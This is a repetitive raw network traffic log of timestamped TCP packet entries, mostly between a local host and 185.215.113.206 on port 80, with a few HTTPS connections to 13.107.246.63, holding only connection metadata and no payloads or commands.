Nov 28, 2024 17:24:18.448182106 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.448220968 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.450767040 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.450815916 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.450874090 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.451103926 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.453391075 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.453444004 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.453483105 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.453654051 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.456094980 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.456147909 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.456181049 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.456234932 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.458707094 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.458755970 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.458913088 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.458954096 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.461347103 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.461404085 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.461481094 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.461560011 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.464010954 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.464066029 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.464122057 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.464173079 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.466633081 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.466742039 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.466768980 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.466780901 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.469280958 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.469357014 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.469377995 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.469420910 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.471936941 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.471986055 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.472074032 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.472124100 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.474618912 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.474693060 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.474708080 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.474749088 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.477296114 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.477344036 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.477344990 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.477402925 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.479903936 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.479975939 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.480046034 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.480087042 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.482520103 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.482563972 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.482650042 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.482717037 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.485178947 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.485219002 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.485276937 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.485316038 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.487869978 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.487916946 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.488074064 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.488123894 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.490521908 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.490634918 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.490843058 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.490885019 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.493228912 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.493293047 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.493608952 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.493654966 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.496120930 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.496171951 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.496313095 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.496400118 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.499054909 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.499104023 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.499202967 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.499306917 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.501509905 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.501569986 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.501610041 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.501724958 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.503745079 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.503849983 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.504116058 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.504164934 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.506373882 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.506429911 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.506634951 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.506686926 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.509332895 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.509378910 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.509663105 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.509706020 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.511737108 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.511784077 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.511811972 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.511858940 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.521476984 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.521544933 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.521555901 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.521627903 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.522875071 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.522933006 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.522980928 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.523020983 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.525697947 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.525749922 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.525760889 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.525799990 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.528311968 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.528393984 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.528433084 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.528472900 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.531090021 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.531326056 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.531358957 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.531445026 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.533370972 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.533442020 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.533509970 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.533545971 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.536354065 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.536397934 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.536422968 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.536463022 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.538759947 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.538806915 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.538840055 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.538861990 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.541163921 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.541214943 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.541415930 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.543736935 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.543946028 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.543970108 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.543999910 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.555613995 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.555680990 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.555847883 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.555886030 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.556979895 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.557028055 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.557478905 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.557517052 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.557554960 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.557600021 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.560496092 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.560547113 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.560555935 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.560786963 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.562731981 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.562782049 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.562886953 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.563066959 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.565458059 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.565505981 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.565526962 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.565643072 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.568213940 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.568226099 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.568304062 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.568305016 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.570739031 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.570775032 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.570789099 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.570805073 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.573426008 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.573482037 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.573524952 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.573570013 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.576020002 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.576077938 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.576102972 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.576273918 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.578728914 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.578814983 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.578860998 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.578901052 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.581326008 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.581389904 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.581451893 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.581526041 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.583951950 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.584003925 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.584076881 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.584119081 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.586622000 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.586708069 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.586771011 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.586803913 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.589407921 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.589463949 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.589483023 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.589505911 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.591943026 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.592020988 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.592022896 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.592058897 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.594552994 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.594628096 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.594690084 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.594758987 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.597204924 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.597258091 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.597414970 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.597615957 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.599896908 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.599915981 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.599955082 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.599970102 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.602674007 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.602725983 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.602756023 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.602813959 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.605252028 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.605274916 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.605313063 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.605344057 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.607739925 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.607810020 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.607897997 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.607944012 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.610395908 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.610440016 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.610498905 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.610548973 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.612807035 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.612864017 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.613025904 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.613137960 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.615202904 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.615256071 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.619528055 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.619621992 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.619649887 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.619676113 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.619680882 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.619739056 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.619823933 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.619860888 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.619874954 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.620136023 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.620156050 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.620194912 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.620373011 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.620410919 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.620578051 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.620768070 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.620851040 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.620894909 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.622891903 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.622911930 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.622991085 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.623009920 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.623115063 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.623265982 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.623300076 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.623321056 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.623327971 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.623328924 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.623367071 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.623368025 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.623506069 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.623536110 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.623585939 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.624561071 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.624617100 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.624743938 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.624957085 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.624984980 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.625840902 CET	49735	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.625869989 CET	443	49735	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.625890970 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.625947952 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.625977993 CET	49735	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.625978947 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.626077890 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.626297951 CET	49735	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:18.626307011 CET	443	49735	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:18.628371954 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.628446102 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.628531933 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.628576040 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.630974054 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.631088018 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.631114006 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.631160975 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.632992983 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.633053064 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.633070946 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.633112907 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.635219097 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.635272980 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.635339975 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.635381937 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.637372017 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.637420893 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.637476921 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.637538910 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.639661074 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.639718056 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.639724016 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.639775991 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.642098904 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.642112970 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.642162085 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.644274950 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.644325972 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.644357920 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.644416094 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.646321058 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.646507025 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.646512032 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.646545887 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.647326946 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.647392035 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.647439957 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.648315907 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.648370028 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.648395061 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.648435116 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.649234056 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.649307966 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.649344921 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.649386883 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.650213003 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.650314093 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.650351048 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.650388002 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.651213884 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.651386023 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.651567936 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.652148008 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.652523994 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.652877092 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.653202057 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.653295994 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.653557062 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.654138088 CET	80	49716	185.215.113.206	192.168.2.6
